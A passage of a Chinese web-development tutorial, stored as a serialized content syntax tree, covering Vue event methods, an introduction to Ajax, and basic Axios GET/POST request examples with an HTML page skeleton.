type":24,"value":12375},{"type":18,"tag":297,"props":22103,"children":22104},{"style":327},[22105],{"type":24,"value":9692},{"type":18,"tag":297,"props":22107,"children":22108},{"style":310},[22109],{"type":24,"value":13825},{"type":18,"tag":297,"props":22111,"children":22112},{"style":304},[22113],{"type":24,"value":22114}," v-on:click",{"type":18,"tag":297,"props":22116,"children":22117},{"style":327},[22118],{"type":24,"value":9692},{"type":18,"tag":297,"props":22120,"children":22121},{"style":310},[22122],{"type":24,"value":22123},"\"search\"",{"type":18,"tag":297,"props":22125,"children":22126},{"style":327},[22127],{"type":24,"value":14214},{"type":18,"tag":297,"props":22129,"children":22130},{"style":9680},[22131],{"type":24,"value":14196},{"type":18,"tag":297,"props":22133,"children":22134},{"style":327},[22135],{"type":24,"value":335},{"type":18,"tag":297,"props":22137,"children":22138},{"class":299,"line":662},[22139,22143,22147,22151,22155,22159,22164,22168,22173,22177,22181],{"type":18,"tag":297,"props":22140,"children":22141},{"style":327},[22142],{"type":24,"value":12451},{"type":18,"tag":297,"props":22144,"children":22145},{"style":9680},[22146],{"type":24,"value":14196},{"type":18,"tag":297,"props":22148,"children":22149},{"style":304},[22150],{"type":24,"value":12375},{"type":18,"tag":297,"props":22152,"children":22153},{"style":327},[22154],{"type":24,"value":9692},{"type":18,"tag":297,"props":22156,"children":22157},{"style":310},[22158],{"type":24,"value":13825},{"type":18,"tag":297,"props":22160,"children":22161},{"style":304},[22162],{"type":24,"value":22163}," @click",{"type":18,"tag":297,"props":22165,"children":22166},{"style":327},[22167],{"type":24,"value":9692},{"type":18,"tag":297,"props":22169,"children":22170},{"style":310},[22171],{"type":24,"value":22172},"\"clear\"",{"type":18,"tag":297,"props":22174,"children":22175},{"style":327},[22176],{"type":24,"value":21973},{"type":18,"tag":297,"props":22178,"children":22179},{"style":9680},[22180],{"type":24,"value":14196},{"type":18,"tag":297,"props":22182,"children":22183},{"style":327},[22184],{"type":24,"value":335},{"type":18,"tag":297,"props":22186,"children":22187},{"class":299,"line":799},[22188,22192,22196],{"type":18,"tag":297,"props":22189,"children":22190},{"style":327},[22191],{"type":24,"value":11688},{"type":18,"tag":297,"props":22193,"children":22194},{"style":9680},[22195],{"type":24,"value":11298},{"type":18,"tag":297,"props":22197,"children":22198},{"style":327},[22199],{"type":24,"value":335},{"type":18,"tag":287,"props":22201,"children":22203},{"className":16332,"code":22202,"language":16334,"meta":8,"style":8},"const app = createApp({\n    data() {\n        \u002F\u002F ...\n    },\n    methods: {\n        search() {\n            \u002F\u002F 此处若要获取当前实例searchForm对象的值，必须在此之前添加 this. 来指向当前实例\n            console.log(this.searchForm);\n        },\n        clear() {\n            this.searchForm = {name:\"\",gender:\"\",job:\"\"}\n        }\n    }\n}).mount(\"#app\");\n",[22204],{"type":18,"tag":74,"props":22205,"children":22206},{"__ignoreMap":8},[22207,22232,22243,22251,22258,22266,22278,22286,22311,22319,22331,22379,22386,22393],{"type":18,"tag":297,"props":22208,"children":22209},{"class":299,"line":300},[22210,22214,22219,22223,22228],{"type":18,"tag":297,"props":22211,"children":22212},{"style":316},[22213],{"type":24,"value":16298},{"type":18,"tag":297,"props":22215,"children":22216},{"style":906},[22217],{"type":24,"value":22218}," app",{"type":18,"tag":297,"props":22220,"children":22221},{"style":316},[22222],{"type":24,"value":16355},{"type":18,"tag":297,"props":22224,"children":22225},{"style":304},[22226],{"type":24,"value":22227}," createApp",{"type":18,"tag":297,"props":22229,"children":22230},{"style":327},[22231],{"type":24,"value":19429},{"type":18,"tag":297,"props":22233,"children":22234},{"class":299,"line":657},[22235,22239],{"type":18,"tag":297,"props":22236,"children":22237},{"style":304},[22238],{"type":24,"value":21090},{"type":18,"tag":297,"props":22240,"children":22241},{"style":327},[22242],{"type":24,"value":19442},{"type":18,"tag":297,"props":22244,"children":22245},{"class":299,"line":662},[22246],{"type":18,"tag":297,"props":22247,"children":22248},{"style":5380},[22249],{"type":24,"value":22250},"        \u002F\u002F ...\n",{"type":18,"tag":297,"props":22252,"children":22253},{"class":299,"line":799},[22254],{"type":18,"tag":297,"props":22255,"children":22256},{"style":327},[22257],{"type":24,"value":9438},{"type":18,"tag":297,"props":22259,"children":22260},{"class":299,"line":808},[22261],{"type":18,"tag":297,"props":22262,"children":22263},{"style":327},[22264],{"type":24,"value":22265},"    methods: {\n",{"type":18,"tag":297,"props":22267,"children":22268},{"class":299,"line":817},[22269,22274],{"type":18,"tag":297,"props":22270,"children":22271},{"style":304},[22272],{"type":24,"value":22273},"        search",{"type":18,"tag":297,"props":22275,"children":22276},{"style":327},[22277],{"type":24,"value":19442},{"type":18,"tag":297,"props":22279,"children":22280},{"class":299,"line":826},[22281],{"type":18,"tag":297,"props":22282,"children":22283},{"style":5380},[22284],{"type":24,"value":22285},"            \u002F\u002F 此处若要获取当前实例searchForm对象的值，必须在此之前添加 this. 来指向当前实例\n",{"type":18,"tag":297,"props":22287,"children":22288},{"class":299,"line":4524},[22289,22294,22298,22302,22306],{"type":18,"tag":297,"props":22290,"children":22291},{"style":327},[22292],{"type":24,"value":22293},"            console.",{"type":18,"tag":297,"props":22295,"children":22296},{"style":304},[22297],{"type":24,"value":16588},{"type":18,"tag":297,"props":22299,"children":22300},{"style":327},[22301],{"type":24,"value":16593},{"type":18,"tag":297,"props":22303,"children":22304},{"style":906},[22305],{"type":24,"value":17869},{"type":18,"tag":297,"props":22307,"children":22308},{"style":327},[22309],{"type":24,"value":22310},".searchForm);\n",{"type":18,"tag":297,"props":22312,"children":22313},{"class":299,"line":4533},[22314],{"type":18,"tag":297,"props":22315,"children":22316},{"style":327},[22317],{"type":24,"value":22318},"        },\n",{"type":18,"tag":297,"props":22320,"children":22321},{"class":299,"line":4546},[22322,22327],{"type":18,"tag":297,"props":22323,"children":22324},{"style":304},[22325],{"type":24,"value":22326},"        clear",{"type":18,"tag":297,"props":22328,"children":22329},{"style":327},[22330],{"type":24,"value":19442},{"type":18,"tag":297,"props":22332,"children":22333},{"class":299,"line":4555},[22334,22339,22344,22348,22353,22357,22362,22366,22371,22375],{"type":18,"tag":297,"props":22335,"children":22336},{"style":906},[22337],{"type":24,"value":22338},"            this",{"type":18,"tag":297,"props":22340,"children":22341},{"style":327},[22342],{"type":24,"value":22343},".searchForm ",{"type":18,"tag":297,"props":22345,"children":22346},{"style":316},[22347],{"type":24,"value":9692},{"type":18,"tag":297,"props":22349,"children":22350},{"style":327},[22351],{"type":24,"value":22352}," {name:",{"type":18,"tag":297,"props":22354,"children":22355},{"style":310},[22356],{"type":24,"value":12570},{"type":18,"tag":297,"props":22358,"children":22359},{"style":327},[22360],{"type":24,"value":22361},",gender:",{"type":18,"tag":297,"props":22363,"children":22364},{"style":310},[22365],{"type":24,"value":12570},{"type":18,"tag":297,"props":22367,"children":22368},{"style":327},[22369],{"type":24,"value":22370},",job:",{"type":18,"tag":297,"props":22372,"children":22373},{"style":310},[22374],{"type":24,"value":12570},{"type":18,"tag":297,"props":22376,"children":22377},{"style":327},[22378],{"type":24,"value":9524},{"type":18,"tag":297,"props":22380,"children":22381},{"class":299,"line":4568},[22382],{"type":18,"tag":297,"props":22383,"children":22384},{"style":327},[22385],{"type":24,"value":19492},{"type":18,"tag":297,"props":22387,"children":22388},{"class":299,"line":4577},[22389],{"type":18,"tag":297,"props":22390,"children":22391},{"style":327},[22392],{"type":24,"value":17895},{"type":18,"tag":297,"props":22394,"children":22395},{"class":299,"line":4590},[22396,22401,22405,22409,22414],{"type":18,"tag":297,"props":22397,"children":22398},{"style":327},[22399],{"type":24,"value":22400},"}).",{"type":18,"tag":297,"props":22402,"children":22403},{"style":304},[22404],{"type":24,"value":19513},{"type":18,"tag":297,"props":22406,"children":22407},{"style":327},[22408],{"type":24,"value":16593},{"type":18,"tag":297,"props":22410,"children":22411},{"style":310},[22412],{"type":24,"value":22413},"\"#app\"",{"type":18,"tag":297,"props":22415,"children":22416},{"style":327},[22417],{"type":24,"value":17153},{"type":18,"tag":96,"props":22419,"children":22420},{},[22421],{"type":18,"tag":34,"props":22422,"children":22423},{},[22424],{"type":24,"value":22425},"注意：在与data平级的位置添加methods，然后设计事件",{"type":18,"tag":19,"props":22427,"children":22429},{"id":22428},"_6-ajax",[22430],{"type":24,"value":22431},"6 Ajax",{"type":18,"tag":27,"props":22433,"children":22435},{"id":22434},"_61-什么是-ajax",[22436],{"type":24,"value":22437},"6.1 什么是 Ajax",{"type":18,"tag":34,"props":22439,"children":22440},{},[22441,22446,22448,22453],{"type":18,"tag":105,"props":22442,"children":22443},{},[22444],{"type":24,"value":22445},"介绍",{"type":24,"value":22447},"：Asynchronous JavaScript And XML，即",{"type":18,"tag":105,"props":22449,"children":22450},{},[22451],{"type":24,"value":22452},"异步的 JavaScript 和 XML",{"type":24,"value":111},{"type":18,"tag":96,"props":22455,"children":22456},{},[22457],{"type":18,"tag":34,"props":22458,"children":22459},{},[22460,22465],{"type":18,"tag":105,"props":22461,"children":22462},{},[22463],{"type":24,"value":22464},"XML",{"type":24,"value":22466},"：（英语：Extensible Markup Language）可扩展标记语言，本质是一种数据格式，可以用来存储复杂的数据结构。",{"type":18,"tag":34,"props":22468,"children":22469},{},[22470],{"type":24,"value":22471},"作用：",{"type":18,"tag":210,"props":22473,"children":22474},{},[22475,22485],{"type":18,"tag":158,"props":22476,"children":22477},{},[22478,22483],{"type":18,"tag":105,"props":22479,"children":22480},{},[22481],{"type":24,"value":22482},"数据交换",{"type":24,"value":22484},"：通过 Ajax 可以给服务器发送请求，并获取服务器响应的数据。",{"type":18,"tag":158,"props":22486,"children":22487},{},[22488,22493],{"type":18,"tag":105,"props":22489,"children":22490},{},[22491],{"type":24,"value":22492},"异步交互",{"type":24,"value":22494},"：可以在不重新加载整个页面的情况下，与服务器交换数据并更新部分网页的技术，如：搜索联想、用户名是否可用的校验等。",{"type":18,"tag":34,"props":22496,"children":22497},{},[22498],{"type":18,"tag":54,"props":22499,"children":22502},{"alt":22500,"src":22501},"1777883359948","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1777883359948.png",[],{"type":18,"tag":27,"props":22504,"children":22506},{"id":22505},"_62-同步与异步",[22507],{"type":24,"value":22508},"6.2 同步与异步",{"type":18,"tag":34,"props":22510,"children":22511},{},[22512],{"type":18,"tag":54,"props":22513,"children":22516},{"alt":22514,"src":22515},"1777883567809","\u002Fimages\u002Fblog\u002Fspringboot-l1-web\u002F1777883567809.png",[],{"type":18,"tag":27,"props":22518,"children":22520},{"id":22519},"_63-axios",[22521],{"type":24,"value":22522},"6.3 Axios",{"type":18,"tag":34,"props":22524,"children":22525},{},[22526,22530],{"type":18,"tag":105,"props":22527,"children":22528},{},[22529],{"type":24,"value":22445},{"type":24,"value":22531},"：Axios 对原生的Ajax进行了封装，简化书写，快速开发。",{"type":18,"tag":34,"props":22533,"children":22534},{},[22535,22540,22541],{"type":18,"tag":105,"props":22536,"children":22537},{},[22538],{"type":24,"value":22539},"官网",{"type":24,"value":222},{"type":18,"tag":43,"props":22542,"children":22545},{"href":22543,"rel":22544},"https:\u002F\u002Fwww.axios-http.cn\u002F",[47],[22546],{"type":24,"value":22543},{"type":18,"tag":34,"props":22548,"children":22549},{},[22550],{"type":18,"tag":105,"props":22551,"children":22552},{},[22553],{"type":24,"value":22554},"使用步骤",{"type":18,"tag":154,"props":22556,"children":22557},{},[22558],{"type":18,"tag":158,"props":22559,"children":22560},{},[22561],{"type":24,"value":22562},"引入Axios的js文件",{"type":18,"tag":287,"props":22564,"children":22566},{"className":9608,"code":22565,"language":9610,"meta":8,"style":8},"\u003Cscript src=\"https:\u002F\u002Funpkg.com\u002Faxios\u002Fdist\u002Faxios.min.js\">\u003C\u002Fscript>\n",[22567],{"type":18,"tag":74,"props":22568,"children":22569},{"__ignoreMap":8},[22570],{"type":18,"tag":297,"props":22571,"children":22572},{"class":299,"line":300},[22573,22577,22581,22585,22589,22594,22598,22602],{"type":18,"tag":297,"props":22574,"children":22575},{"style":327},[22576],{"type":24,"value":319},{"type":18,"tag":297,"props":22578,"children":22579},{"style":9680},[22580],{"type":24,"value":16468},{"type":18,"tag":297,"props":22582,"children":22583},{"style":304},[22584],{"type":24,"value":10567},{"type":18,"tag":297,"props":22586,"children":22587},{"style":327},[22588],{"type":24,"value":9692},{"type":18,"tag":297,"props":22590,"children":22591},{"style":310},[22592],{"type":24,"value":22593},"\"https:\u002F\u002Funpkg.com\u002Faxios\u002Fdist\u002Faxios.min.js\"",{"type":18,"tag":297,"props":22595,"children":22596},{"style":327},[22597],{"type":24,"value":10600},{"type":18,"tag":297,"props":22599,"children":22600},{"style":9680},[22601],{"type":24,"value":16468},{"type":18,"tag":297,"props":22603,"children":22604},{"style":327},[22605],{"type":24,"value":335},{"type":18,"tag":154,"props":22607,"children":22608},{"start":657},[22609],{"type":18,"tag":158,"props":22610,"children":22611},{},[22612],{"type":24,"value":22613},"使用 Axios 发送请求，并获取响应结果",{"type":18,"tag":287,"props":22615,"children":22617},{"className":16332,"code":22616,"language":16334,"meta":8,"style":8},"axios({\n    method: 'GET',\n    url: 'https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist'\n}).then((result) => {\n    console.log(result.data); \u002F\u002F 成功回调函数\n}).catch((err) => {\n    alert(err); \u002F\u002F 失败回调函数\n});\n",[22618],{"type":18,"tag":74,"props":22619,"children":22620},{"__ignoreMap":8},[22621,22633,22650,22663,22697,22718,22751,22768],{"type":18,"tag":297,"props":22622,"children":22623},{"class":299,"line":300},[22624,22629],{"type":18,"tag":297,"props":22625,"children":22626},{"style":304},[22627],{"type":24,"value":22628},"axios",{"type":18,"tag":297,"props":22630,"children":22631},{"style":327},[22632],{"type":24,"value":19429},{"type":18,"tag":297,"props":22634,"children":22635},{"class":299,"line":657},[22636,22641,22646],{"type":18,"tag":297,"props":22637,"children":22638},{"style":327},[22639],{"type":24,"value":22640},"    method: ",{"type":18,"tag":297,"props":22642,"children":22643},{"style":310},[22644],{"type":24,"value":22645},"'GET'",{"type":18,"tag":297,"props":22647,"children":22648},{"style":327},[22649],{"type":24,"value":9296},{"type":18,"tag":297,"props":22651,"children":22652},{"class":299,"line":662},[22653,22658],{"type":18,"tag":297,"props":22654,"children":22655},{"style":327},[22656],{"type":24,"value":22657},"    url: ",{"type":18,"tag":297,"props":22659,"children":22660},{"style":310},[22661],{"type":24,"value":22662},"'https:\u002F\u002Fweb-server.itheima.net\u002Femps\u002Flist'\n",{"type":18,"tag":297,"props":22664,"children":22665},{"class":299,"line":799},[22666,22670,22675,22680,22685,22689,22693],{"type":18,"tag":297,"props":22667,"children":22668},{"style":327},[22669],{"type":24,"value":22400},{"type":18,"tag":297,"props":22671,"children":22672},{"style":304},[22673],{"type":24,"value":22674},"then",{"type":18,"tag":297,"props":22676,"children":22677},{"style":327},[22678],{"type":24,"value":22679},"((",{"type":18,"tag":297,"props":22681,"children":22682},{"style":4492},[22683],{"type":24,"value":22684},"result",{"type":18,"tag":297,"props":22686,"children":22687},{"style":327},[22688],{"type":24,"value":17629},{"type":18,"tag":297,"props":22690,"children":22691},{"style":316},[22692],{"type":24,"value":17634},{"type":18,"tag":297,"props":22694,"children":22695},{"style":327},[22696],{"type":24,"value":9806},{"type":18,"tag":297,"props":22698,"children":22699},{"class":299,"line":808},[22700,22704,22708,22713],{"type":18,"tag":297,"props":22701,"children":22702},{"style":327},[22703],{"type":24,"value":16583},{"type":18,"tag":297,"props":22705,"children":22706},{"style":304},[22707],{"type":24,"value":16588},{"type":18,"tag":297,"props":22709,"children":22710},{"style":327},[22711],{"type":24,"value":22712},"(result.data); ",{"type":18,"tag":297,"props":22714,"children":22715},{"style":5380},[22716],{"type":24,"value":22717},"\u002F\u002F 成功回调函数\n",{"type":18,"tag":297,"props":22719,"children":22720},{"class":299,"line":817},[22721,22725,22730,22734,22739,22743,22747],{"type":18,"tag":297,"props":22722,"children":22723},{"style":327},[22724],{"type":24,"value":22400},{"type":18,"tag":297,"props":22726,"children":22727},{"style":304},[22728],{"type":24,"value":22729},"catch",{"type":18,"tag":297,"props":22731,"children":22732},{"style":327},[22733],{"type":24,"value":22679},{"type":18,"tag":297,"props":22735,"children":22736},{"style":4492},[22737],{"type":24,"value":22738},"err",{"type":18,"tag":297,"props":22740,"children":22741},{"style":327},[22742],{"type":24,"value":17629},{"type":18,"tag":297,"props":22744,"children":22745},{"style":316},[22746],{"type":24,"value":17634},{"type":18,"tag":297,"props":22748,"children":22749},{"style":327},[22750],{"type":24,"value":9806},{"type":18,"tag":297,"props":22752,"children":22753},{"class":299,"line":826},[22754,22758,22763],{"type":18,"tag":297,"props":22755,"children":22756},{"style":304},[22757],{"type":24,"value":18778},{"type":18,"tag":297,"props":22759,"children":22760},{"style":327},[22761],{"type":24,"value":22762},"(err); ",{"type":18,"tag":297,"props":22764,"children":22765},{"style":5380},[22766],{"type":24,"value":22767},"\u002F\u002F 失败回调函数\n",{"type":18,"tag":297,"props":22769,"children":22770},{"class":299,"line":4524},[22771],{"type":18,"tag":297,"props":22772,"children":22773},{"style":327},[22774],{"type":24,"value":22775},"});\n",{"type":18,"tag":34,"props":22777,"children":22778},{},[22779],{"type":18,"tag":105,"props":22780,"children":22781},{},[22782],{"type":24,"value":19798},{"type":18,"tag":210,"props":22784,"children":22785},{},[22786,22796,22807,22817],{"type":18,"tag":158,"props":22787,"children":22788},{},[22789,22794],{"type":18,"tag":74,"props":22790,"children":22792},{"className":22791},[],[22793],{"type":24,"value":12120},{"type":24,"value":22795},": 请求方式，支持 GET\u002FPOST",{"type":18,"tag":158,"props":22797,"children":22798},{},[22799,22805],{"type":18,"tag":74,"props":22800,"children":22802},{"className":22801},[],[22803],{"type":24,"value":22804},"url",{"type":24,"value":22806},": 请求路径",{"type":18,"tag":158,"props":22808,"children":22809},{},[22810,22815],{"type":18,"tag":74,"props":22811,"children":22813},{"className":22812},[],[22814],{"type":24,"value":20232},{"type":24,"value":22816},": 请求数据（POST 请求时使用）",{"type":18,"tag":158,"props":22818,"children":22819},{},[22820,22826,22828,22834],{"type":18,"tag":74,"props":22821,"children":22823},{"className":22822},[],[22824],{"type":24,"value":22825},"params",{"type":24,"value":22827},": 发送请求时携带的 url 参数（如：",{"type":18,"tag":74,"props":22829,"children":22831},{"className":22830},[],[22832],{"type":24,"value":22833},"...?key=val",{"type":24,"value":6182},{"type":18,"tag":34,"props":22836,"children":22837},{},[22838],{"type":18,"tag":105,"props":22839,"children":22840},{},[22841],{"type":24,"value":22842},"测试用例（完善Get请求和Post请求）",{"type":18,"tag":154,"props":22844,"children":22845},{},[22846],{"type":18,"tag":158,"props":22847,"children":22848},{},[22849],{"type":24,"value":22850},"构建大体逻辑框架",{"type":18,"tag":287,"props":22852,"children":22854},{"className":9608,"code":22853,"language":9610,"meta":8,"style":8},"\u003C!DOCTYPE html>\n\u003Chtml lang=\"en\">\n\u003Chead>\n    \u003Cmeta charset=\"UTF-8\">\n    \u003Cmeta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    \u003Ctitle>Ajax-Axios\u003C\u002Ftitle>\n\u003C\u002Fhead>\n\u003Cbody>\n    \u003Cinput type=\"button\" value=\"获取数据GET\" id=\"btnGet\">\n    \u003Cinput type=\"button\" value=\"操作数据POST\" id=\"btnPost\">\n\n    \u003Cscript src=\"js\u002Faxios.js\">\u003C\u002Fscript>\n    \u003Cscript>\n        \u002F\u002F 发送GET请求\n        document.querySelector('#btnGet').addEventListener('click', () => {\n\n        })\n\n        \u002F\u002F 发送POST请求\n        document.querySelector('#btnPost').addEventListener('click', () => {\n\n        })\n    \u003C\u002Fscript>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n",[22855],{"type":18,"tag":74,"props":22856,"children":22857},{"__ignoreMap":8},[22858,22880,22909,22925,22955,22998,23039,23063,23078,23093,23146,23199,23206,23242,23257,23265,23315,23322,23330,23337,23345,23393,23400,23407,23422,23437],{"type":18,"tag":297,"props":22859,"children":22860},{"class":299,"line":300},[22861,22866,22871,22876],{"type":18,"tag":297,"props":22862,"children":22863},{"style":327},[22864],{"type":24,"value":22865},"\u003C!",{"type":18,"tag":297,"props":22867,"children":22868},{"style":9680},[22869],{"type":24,"value":22870},"DOCTYPE",{"type":18,"tag":297,"props":22872,"children":22873},{"style":304},[22874],{"type":24,"value":22875}," html",{"type":18,"tag":297,"props":22877,"children":22878},{"style":327},[22879],{"type":24,"value":335},{"type":18,"tag":297,"props":22881,"children":22882},{"class":299,"line":657},[22883,22887,22891,22896,22900,22905],{"type":18,"tag":297,"props":22884,"children":22885},{"style":327},[22886],{"type":24,"value":319},{"type":18,"tag":297,"props":22888,"children":22889},{"style":9680},[22890],{"type":24,"value":9610},{"type":18,"tag":297,"props":22892,"children":22893},{"style":304},[22894],{"type":24,"value":22895}," lang",{"type":18,"tag":297,"props":22897,"children":22898},{"style":327},[22899],{"type":24,"value":9692},{"type":18,"tag":297,"props":22901,"children":22902},{"style":310},[22903],{"type":24,"value":22904},"\"en\"",{"type":18,"tag":297,"props":22906,"children":22907},{"style":327},[22908],{"type":24,"value":335},{"type":18,"tag":297,"props":22910,"children":22911},{"class":299,"line":662},[22912,22916,22921],{"type":18,"tag":297,"props":22913,"children":22914},{"style":327},[22915],{"type":24,"value":319},{"type":18,"tag":297,"props":22917,"children":22918},{"style":9680},[22919],{"type":24,"value":22920},"head",{"type":18,"tag":297,"props":22922,"children":22923},{"style":327},[22924],{"type":24,"value":335},{"type":18,"tag":297,"props":22926,"children":22927},{"class":299,"line":799},[22928,22932,22937,22942,22946,22951],{"type":18,"tag":297,"props":22929,"children":22930},{"style":327},[22931],{"type":24,"value":12451},{"type":18,"tag":297,"props":22933,"children":22934},{"style":9680},[22935],{"type":24,"value":22936},"meta",{"type":18,"tag":297,"props":22938,"children":22939},{"style":304},[22940],{"type":24,"value":22941}," charset",{"type":18,"tag":297,"props":22943,"children":22944},{"style":327},[22945],{"type":24,"value":9692},{"type":18,"tag":297,"props":22947,"children":22948},{"style":310},[22949],{"type":24,"value":22950},"\"UTF-8\"",{"type":18,"tag":297,"props":22952,"children":22953},{"style":327},[22954],{"type":24,"value":335},{"type":18,"tag":297,"props":22956,"children":22957},{"class":299,"line":808},[22958,22962,22966,22971,22975,22980,22985,22989,22994],{"type":18,"tag":297,"props":22959,"children":22960},{"style":327},[22961],{"type":24,"value":12451},{"type":18,"tag":297,"props":22963,"children":22964},{"style":9680},[22965],{"type":24,"value":22936},{"type":18,"tag":297,"props":22967,"children":22968},{"style":304},[22969],{"type":24,"value":22970}," http-equiv",{"type":18,"tag":297,"props":22972,"children":22973},{"style":327},[22974],{"type":24,"value":9692},{"type":18,"tag":297,"props":22976,"children":22977},{"style":310},[22978],{"type":24,"value":22979},"\"X-UA-Compatible\"",{"type":18,"tag":297,"props":22981,"children":22982},{"style":304},[22983],{"type":24,"value":22984}," content",{"type":18,"tag":297,"props":22986,"children":22987},{"style":327},[22988],{"type":24,"value":9692},{"type":18,"tag":297,"props":22990,"children":22991},{"style":310},[22992],{"type":24,"value":22993},"\"IE=edge\"",{"type":18,"tag":297,"props":22995,"children":22996},{"style":327},[22997],{"type":24,"value":335},{"type":18,"tag":297,"props":22999,"children":23000},{"class":299,"line":817},[23001,23005,23009,23013,23017,23022,23026,23030,23035],{"type":18,"tag":297,"props":23002,"children":23003},{"style":327},[23004],{"type":24,"value":12451},{"type":18,"tag":297,"props":23006,"children":23007},{"style":9680},[23008],{"type":24,"value":22936},{"type":18,"tag":297,"props":23010,"children":23011},{"style":304},[23012],{"type":24,"value":12389},{"type":18,"tag":297,"props":23014,"children":23015},{"style":327},[23016],{"type":24,"value":9692},{"type":18,"tag":297,"props":23018,"children":23019},{"style":310},[23020],{"type":24,"value":23021},"\"viewport\"",{"type":18,"tag":297,"props":23023,"children":23024},{"style":304},[23025],{"type":24,"value":22984},{"type":18,"tag":297,"props":23027,"children":23028},{"style":327},[23029],{"type":24,"value":9692},{"type":18,"tag":297,"props":23031,"children":23032},{"style":310},[23033],{"type":24,"value":23034},"\"width=device-width, initial-scale=1.0\"",{"type":18,"tag":297,"props":23036,"children":23037},{"style":327},[23038],{"type":24,"value":335},{"type":18,"tag":297,"props":23040,"children":23041},{"class":299,"line":826},[23042,23046,23050,23055,23059],{"type":18,"tag":297,"props":23043,"children":23044},{"style":327},[23045],{"type":24,"value":12451},{"type":18,"tag":297,"props":23047,"children":23048},{"style":9680},[23049],{"type":24,"value":11427},{"type":18,"tag":297,"props":23051,"children":23052},{"style":327},[23053],{"type":24,"value":23054},">Ajax-Axios\u003C\u002F",{"type":18,"tag":297,"props":23056,"children":23057},{"style":9680},[23058],{"type":24,"value":11427},{"type":18,"tag":297,"props":23060,"children":23061},{"style":327},[23062],{"type":24,"value":335},{"type":18,"tag":297,"props":23064,"children":23065},{"class":299,"line":4524},[23066,23070,23074],{"type":18,"tag":297,"props":23067,"children":23068},{"style":327},[23069],{"type":24,"value":11688},{"type":18,"tag":297,"props":23071,"children":23072},{"style":9680},[23073],{"type":24,"value":22920},{"type":18,"tag":297,"props":23075,"children":23076},{"style":327},[23077],{"type":24,"value":335},{"type":18,"tag":297,"props":23079,"children":23080},{"class":299,"line":4533},[23081,23085,23089],{"type":18,"tag":297,"props":23082,"children":23083},{"style":327},[23084],{"type":24,"value":319},{"type":18,"tag":297,"props":23086,"children":23087},{"style":9680},[23088],{"type":24,"value":12207},{"type":18,"tag":297,"props":23090,"children":23091},{"style":327},[23092],{"type":24,"value":335},{"type":18,"tag":297,"props":23094,"children":23095},{"class":299,"line":4546},[23096,23100,23104,23108,23112,23116,23120,23124,23129,23133,23137,23142],{"type":18,"tag":297,"props":23097,"children":23098},{"style":327},[23099],{"type":24,"value":12451},{"type":18,"tag":297,"props":23101,"children":23102},{"style":9680},[23103],{"type":24,"value":12370},{"type":18,"tag":297,"props":23105,"children":23106},{"style":304},[23107],{"type":24,"value":12375},{"type":18,"tag":297,"props":23109,"children":23110},{"style":327},[23111],{"type":24,"value":9692},{"type":18,"tag":297,"props":23113,"children":23114},{"style":310},[23115],{"type":24,"value":13825},{"type":18,"tag":297,"props":23117,"children":23118},{"style":304},[23119],{"type":24,"value":12473},{"type":18,"tag":297,"props":23121,"children":23122},{"style":327},[23123],{"type":24,"value":9692},{"type":18,"tag":297,"props":23125,"children":23126},{"style":310},[23127],{"type":24,"value":23128},"\"获取数据GET\"",{"type":18,"tag":297,"props":23130,"children":23131},{"style":304},[23132],{"type":24,"value":14131},{"type":18,"tag":297,"props":23134,"children":23135},{"style":327},[23136],{"type":24,"value":9692},{"type":18,"tag":297,"props":23138,"children":23139},{"style":310},[23140],{"type":24,"value":23141},"\"btnGet\"",{"type":18,"tag":297,"props":23143,"children":23144},{"style":327},[23145],{"type":24,"value":335},{"type":18,"tag":297,"props":23147,"children":23148},{"class":299,"line":4555},[23149,23153,23157,23161,23165,23169,23173,23177,23182,23186,23190,23195],{"type":18,"tag":297,"props":23150,"children":23151},{"style":327},[23152],{"type":24,"value":12451},{"type":18,"tag":297,"props":23154,"children":23155},{"style":9680},[23156],{"type":24,"value":12370},{"type":18,"tag":297,"props":23158,"children":23159},{"style":304},[23160],{"type":24,"value":12375},{"type":18,"tag":297,"props":23162,"children":23163},{"style":327},[23164],{"type":24,"value":9692},{"type":18,"tag":297,"props":23166,"children":23167},{"style":310},[23168],{"type":24,"value":13825},{"type":18,"tag":297,"props":23170,"children":23171},{"style":304},[23172],{"type":24,"value":12473},{"type":18,"tag":297,"props":23174,"children":23175},{"style":327},[23176],{"type":24,"value":9692},{"type":18,"tag":297,"props":23178,"children":23179},{"style":310},[23180],{"type":24,"value":23181},"\"操作数据POST\"",{"type":18,"tag":297,"props":23183,"children":23184},{"style":304},[23185],{"type":24,"value":14131},{"type":18,"tag":297,"props":23187,"children":23188},{"style":327},[23189],{"type":24,"value":9692},{"type":18,"tag":297,"props":23191,"children":23192},{"style":310},[23193],{"type":24,"value":23194},"\"btnPost\"",{"type":18,"tag":297,"props":23196,"children":23197},{"style":327},[23198],{"type":24,"value":335},{"type":18,"tag":297,"props":23200,"children":23201},{"class":299,"line":4568},[23202],{"type":18,"tag":297,"props":23203,"children":23204},{"emptyLinePlaceholder":793},[23205],{"type":24,"value":796},{"type":18,"tag":297,"props":23207,"children":23208},{"class":299,"line":4577},[23209,23213,23217,23221,23225,23230,23234,23238],{"type":18,"tag":297,"props":23210,"children":23211},{"style":327},[23212],{"type":24,"value":12451},{"type":18,"tag":297,"props":23214,"children":23215},{"style":9680},[23216],{"type":24,"value":16468},{"type":18,"tag":297,"props":23218,"children":23219},{"style":304},[23220],{"type":24,"value":10567},{"type":18,"tag":297,"props":23222,"children":23223},{"style":327},[23224],{"type":24,"value":9692},{"type":18,"tag":297,"props":23226,"children":23227},{"style":310},[23228],{"type":24,"value":23229},"\"js\u002Faxios.js\"",{"type":18,"tag":297,"props":23231,"children":23232},{"style":327},[23233],{"type":24,"value":10600},{"type":18,"tag":297,"props":23235,"children":23236},{"style":9680},[23237],{"type":24,"value":16468},{"type":18,"tag":297,"props":23239,"children":23240},{"style":327},[23241],{"type":24,"value":335},{"type":18,"tag":297,"props":23243,"children":23244},{"class":299,"line":4590},[23245,23249,23253],{"type":18,"tag":297,"props":23246,"children":23247},{"style":327},[23248],{"type":24,"value":12451},{"type":18,"tag":297,"props":23250,"children":23251},{"style":9680},[23252],{"type":24,"value":16468},{"type":18,"tag":297,"props":23254,"children":23255},{"style":327},[23256],{"type":24,"value":335},{"type":18,"tag":297,"props":23258,"children":23259},{"class":299,"line":4599},[23260],{"type":18,"tag":297,"props":23261,"children":23262},{"style":5380},[23263],{"type":24,"value":23264},"        \u002F\u002F 